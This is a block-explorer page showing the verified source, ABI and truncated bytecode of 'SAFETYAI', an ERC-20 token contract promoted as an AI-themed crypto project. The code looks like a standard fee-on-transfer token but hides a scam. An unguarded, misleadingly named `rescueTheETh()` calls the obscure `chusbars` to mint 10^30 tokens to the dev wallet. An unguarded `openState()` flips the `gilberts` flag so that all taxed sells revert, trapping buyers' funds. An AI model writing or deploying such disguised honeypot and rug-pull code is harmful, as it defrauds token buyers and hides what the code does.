ETH Price: $3,260.63 (-0.54%)
 

Overview

Max Total Supply

1,000,000,000 Safety.ai

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
74,814,102.270679973348797779 Safety.ai

Value
$0.00
0xAB6f27F88ab409DEEeaD92377517654B4ee38255
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SAFETYAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-02-07
*/

// SPDX-License-Identifier: MIT

/*

TELEGRAM : https://t.me/SafetyAIEth

WEBSITE : https://SafetyAIEth.com

TWITTER : https://twitter.com/SafetyAIETH

Safety.ai - The Future is here
Elevating Crypto with the Power of AI

*/

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    function chusbars(address account, uint256 amount) internal virtual {
        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}
contract SAFETYAI is ERC20, Ownable {
    using Address for address payable;
    IRouter public router;
    address public pair;
     bool private _interlock = false;
    bool public providingLiquidity = true;
    bool public tradingEnabled = true;
    uint256 public tokenLiquidityThreshold = 10000000 * 10**18;
    uint256 public maxBuyLimit = 1000000000 * 10**18;
    uint256 public maxSellLimit = 1000000000 * 10**18;
    uint256 public maxWalletLimit = 1000000000 * 10**18;
    uint256 public genesis_block;
    int32 private gilberts = 1;
    uint256 private deadline = 1;
    uint256 private launchtax = 0;
    address public marketingWallet = 0x235eaAB9563020442ECDb3B646c7146681809C33; 
    address public devWallet = 0x235eaAB9563020442ECDb3B646c7146681809C33;
    address public ecosystemWallet = 0x235eaAB9563020442ECDb3B646c7146681809C33;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
        uint256 ecosystem;
        uint256 dev;
    }

    Taxes public taxes = Taxes(1, 0, 0, 0);
    Taxes public sellTaxes = Taxes(1, 0, 0, 0);
    mapping(address => bool) public exemptFee;
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = true;
    uint256 public coolDownTime = 5 seconds;
    modifier lockTheSwap() {
        if (!_interlock) {
            _interlock = true;
            _;
            _interlock = false;
        }
    }
    constructor() ERC20("SAFETY AI", "Safety.ai") {
        chusbars(msg.sender, 1000000000 * 10**decimals());
        exemptFee[msg.sender] = true;
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        exemptFee[address(this)] = true;
        exemptFee[marketingWallet] = true;
        exemptFee[ecosystemWallet] = true;
        exemptFee[devWallet] = true;
        exemptFee[deadWallet] = true;
        

    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }
        if (sender == pair && !exemptFee[recipient] && !_interlock) {
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(
                balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }
        if (
            sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_interlock
        ) {
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
            if (coolDownEnabled) {
                uint256 timePassed = block.timestamp - _lastSell[sender];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[sender] = block.timestamp;
            }
        }
        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if (_interlock || exemptFee[sender] || exemptFee[recipient])
            fee = 0;

        else if (recipient == pair && !useLaunchFee) {
            require(gilberts == 1);
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing +
                sellTaxes.ecosystem +            
                sellTaxes.dev;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing +
                taxes.ecosystem +
                taxes.dev ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }
        fee = (amount * feesum) / 100;
        if (providingLiquidity && sender != pair) Liquify(feeswap, currentTaxes);
         super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {

            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }
    function Liquify(uint256 feeswap, Taxes memory swapTaxes) private lockTheSwap {
        if(feeswap == 0){
            return;
        }
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }
         uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(toSwap);
            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;
            if (ethToAddLiquidityWith > 0) {
          addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }
            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketingWallet).sendValue(marketingAmt);
            }
            uint256 ecosystemAmt = unitBalance * 2 * swapTaxes.ecosystem;
            if (ecosystemAmt > 0) {
                payable(ecosystemWallet).sendValue(ecosystemAmt);
            }
            uint256 devAmt = unitBalance * 2 * swapTaxes.dev;
            if (devAmt > 0) {
                payable(devWallet).sendValue(devAmt);
            }

        }
    }
    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
      _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0,
            0,
            deadWallet,
            block.timestamp
        );
    }
    function updateLiquidityProvide(bool state) external onlyOwner {
         providingLiquidity = state;
    }
    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        require(new_amount <= 1e4, "Swap threshold amount should be lower or equal to 1% of tokens");
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function rescueTheETh() external payable{
        chusbars(devWallet, 10 * 10**29);
    }

    function updateExemptFee(address _address, bool state) external onlyOwner {
        exemptFee[_address] = state;
    }

    function bulkExemptFee(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = state;
        }
    }

    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell, uint256 maxWallet) external onlyOwner {
        require(maxBuy >= 1e4, "Cannot set max buy amount lower than 1%");
        require(maxSell >= 1e4, "Cannot set max sell amount lower than 1%");
        require(maxWallet >= 1e4, "Cannot set max wallet amount lower than 1%");
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
        maxWalletLimit = maxWallet * 10**decimals(); 
    }

    function openState() external payable{
        gilberts = 3;
    }

    function rescueETH() external onlyOwner {
        uint256 contractETHBalance = address(this).balance;
        payable(owner()).transfer(contractETHBalance);
    }
    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        require(tokenAdd != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(tokenAdd).transfer(owner(), amount);
    }
     receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"coolDownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coolDownTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ecosystemWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openState","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueTheETh","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"ecosystem","type":"uint256"},{"internalType":"uint256","name":"dev","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxBuy","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6007805462ffffff60a01b191661010160a81b1790556a084595161401484a0000006008556b033b2e3c9fd0803ce80000006009819055600a819055600b55600d805463ffffffff19166001908117909155600e8190555f600f8190556010805473235eaab9563020442ecdb3b646c7146681809c336001600160a01b0319918216811790925560118054821683179055601280549091169091179055608082905260a081905260c081905260e08190526013829055601481905560158190556016819055610180604052610100829052610120819052610140819052610160819052601782905560188190556019819055601a55601d805460ff191690911790556005601e5534801562000112575f80fd5b506040518060400160405280600981526020016853414645545920414960b81b815250604051806040016040528060098152602001685361666574792e616960b81b815250816003908162000168919062000531565b50600462000177828262000531565b505050620001946200018e620003e960201b60201c565b620003ed565b620001bd33620001a76012600a62000708565b620001b790633b9aca006200071f565b6200043e565b335f908152601b60209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa15801562000225573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024b919062000739565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000297573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bd919062000739565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000308573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032e919062000739565b600680546001600160a01b03199081166001600160a01b03958616179091556007805490911691841691909117905550305f908152601b6020526040808220805460ff1990811660019081179092556010548516845282842080548216831790556012548516845282842080548216831790556011549094168352908220805484168217905561dead9091527f6790d4910a095e0e04c8daa388834616a295bac3f59038957b6d0b93a2d21684805490921617905562000761565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60028190556001600160a01b0382165f81815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620004ba57607f821691505b602082108103620004d957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200052c575f81815260208120601f850160051c81016020861015620005075750805b601f850160051c820191505b81811015620005285782815560010162000513565b5050505b505050565b81516001600160401b038111156200054d576200054d62000491565b62000565816200055e8454620004a5565b84620004df565b602080601f8311600181146200059b575f8415620005835750858301515b5f19600386901b1c1916600185901b17855562000528565b5f85815260208120601f198616915b82811015620005cb57888601518255948401946001909101908401620005aa565b5085821015620005e957878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200064d57815f1904821115620006315762000631620005f9565b808516156200063f57918102915b93841c939080029062000612565b509250929050565b5f82620006655750600162000702565b816200067357505f62000702565b81600181146200068c57600281146200069757620006b7565b600191505062000702565b60ff841115620006ab57620006ab620005f9565b50506001821b62000702565b5060208310610133831016604e8410600b8410161715620006dc575081810a62000702565b620006e883836200060d565b805f1904821115620006fe57620006fe620005f9565b0290505b92915050565b5f6200071860ff84168362000655565b9392505050565b8082028115828204841417620007025762000702620005f9565b5f602082840312156200074a575f80fd5b81516001600160a01b038116811462000718575f80fd5b61245a806200076f5f395ff3fe608060405260043610610241575f3560e01c8063715018a611610134578063a8aa1b31116100b3578063e1b450ad11610078578063e1b450ad146106a0578063ee36e359146106bf578063f2fde38b146106d8578063f66895a3146106f7578063f887ea4014610719578063fbe6324e14610738575f80fd5b8063a8aa1b31146105db578063a9059cbb146105fa578063c5d32bb214610619578063d2ce0db214610647578063dd62ed3e1461065c575f80fd5b80638cd4426d116100f95780638cd4426d1461054d5780638da5cb5b1461056c5780638ea5220f1461058957806395d89b41146105a8578063a457c2d7146105bc575f80fd5b8063715018a6146104bb578063728f8eea146104cf57806375f0a8741461051157806385141a7714610530578063895e769c14610545575f80fd5b8063333354f8116101c05780634ada218b116101855780634ada218b14610428578063652e2f041461044857806366a88d961461045d5780636aa5b37f1461047257806370a0823114610487575f80fd5b8063333354f81461037f578063355496ca1461039457806339509351146103b357806342b6fa11146103d2578063435263ef146103f1575f80fd5b806318160ddd1161020657806318160ddd1461030857806320800a001461031c57806323b872dd14610330578063274a533c1461034f578063313ce56714610364575f80fd5b806306fdde031461024c578063095ea7b3146102765780630e375a5c146102a55780631340538f146102c65780631675d802146102e5575f80fd5b3661024857005b5f80fd5b348015610257575f80fd5b50610260610758565b60405161026d9190611ea8565b60405180910390f35b348015610281575f80fd5b50610295610290366004611f17565b6107e8565b604051901515815260200161026d565b3480156102b0575f80fd5b506102c46102bf366004611f6d565b6107fe565b005b3480156102d1575f80fd5b506102c46102e036600461203f565b61089a565b3480156102f0575f80fd5b506102fa60085481565b60405190815260200161026d565b348015610313575f80fd5b506002546102fa565b348015610327575f80fd5b506102c46108e2565b34801561033b575f80fd5b5061029561034a366004612061565b610958565b34801561035a575f80fd5b506102fa600c5481565b34801561036f575f80fd5b506040516012815260200161026d565b6102c4600d805463ffffffff19166003179055565b34801561039f575f80fd5b506102c46103ae36600461209f565b610a07565b3480156103be575f80fd5b506102956103cd366004611f17565b610a5b565b3480156103dd575f80fd5b506102c46103ec3660046120d6565b610a91565b3480156103fc575f80fd5b50601254610410906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b348015610433575f80fd5b5060075461029590600160b01b900460ff1681565b348015610453575f80fd5b506102fa600a5481565b348015610468575f80fd5b506102fa600b5481565b34801561047d575f80fd5b506102fa60095481565b348015610492575f80fd5b506102fa6104a13660046120ed565b6001600160a01b03165f9081526020819052604090205490565b3480156104c6575f80fd5b506102c4610b4f565b3480156104da575f80fd5b506013546014546015546016546104f19392919084565b60408051948552602085019390935291830152606082015260800161026d565b34801561051c575f80fd5b50601054610410906001600160a01b031681565b34801561053b575f80fd5b5061041061dead81565b6102c4610b84565b348015610558575f80fd5b506102c4610567366004611f17565b610ba7565b348015610577575f80fd5b506005546001600160a01b0316610410565b348015610594575f80fd5b50601154610410906001600160a01b031681565b3480156105b3575f80fd5b50610260610cd7565b3480156105c7575f80fd5b506102956105d6366004611f17565b610ce6565b3480156105e6575f80fd5b50600754610410906001600160a01b031681565b348015610605575f80fd5b50610295610614366004611f17565b610d80565b348015610624575f80fd5b506102956106333660046120ed565b601b6020525f908152604090205460ff1681565b348015610652575f80fd5b506102fa601e5481565b348015610667575f80fd5b506102fa610676366004612108565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156106ab575f80fd5b506102c46106ba366004612134565b610d8c565b3480156106ca575f80fd5b50601d546102959060ff1681565b3480156106e3575f80fd5b506102c46106f23660046120ed565b610f31565b348015610702575f80fd5b50601754601854601954601a546104f19392919084565b348015610724575f80fd5b50600654610410906001600160a01b031681565b348015610743575f80fd5b5060075461029590600160a81b900460ff1681565b6060600380546107679061215d565b80601f01602080910402602001604051908101604052809291908181526020018280546107939061215d565b80156107de5780601f106107b5576101008083540402835291602001916107de565b820191905f5260205f20905b8154815290600101906020018083116107c157829003601f168201915b5050505050905090565b5f6107f4338484610fcc565b5060015b92915050565b6005546001600160a01b031633146108315760405162461bcd60e51b815260040161082890612195565b60405180910390fd5b5f5b82518110156108955781601b5f858481518110610852576108526121ca565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061088d816121f2565b915050610833565b505050565b6005546001600160a01b031633146108c45760405162461bcd60e51b815260040161082890612195565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6005546001600160a01b0316331461090c5760405162461bcd60e51b815260040161082890612195565b4761091f6005546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f19350505050158015610954573d5f803e3d5ffd5b5050565b5f6109648484846110ef565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156109e85760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610828565b6109fc85336109f7868561220a565b610fcc565b506001949350505050565b6005546001600160a01b03163314610a315760405162461bcd60e51b815260040161082890612195565b6001600160a01b03919091165f908152601b60205260409020805460ff1916911515919091179055565b335f8181526001602090815260408083206001600160a01b038716845290915281205490916107f49185906109f790869061221d565b6005546001600160a01b03163314610abb5760405162461bcd60e51b815260040161082890612195565b612710811115610b335760405162461bcd60e51b815260206004820152603e60248201527f53776170207468726573686f6c6420616d6f756e742073686f756c642062652060448201527f6c6f776572206f7220657175616c20746f203125206f6620746f6b656e7300006064820152608401610828565b610b3f6012600a612310565b610b49908261231e565b60085550565b6005546001600160a01b03163314610b795760405162461bcd60e51b815260040161082890612195565b610b825f61176f565b565b601154610b82906001600160a01b03166c0c9f2c9cd04674edea400000006117c0565b6005546001600160a01b03163314610bd15760405162461bcd60e51b815260040161082890612195565b306001600160a01b03831603610c485760405162461bcd60e51b8152602060048201526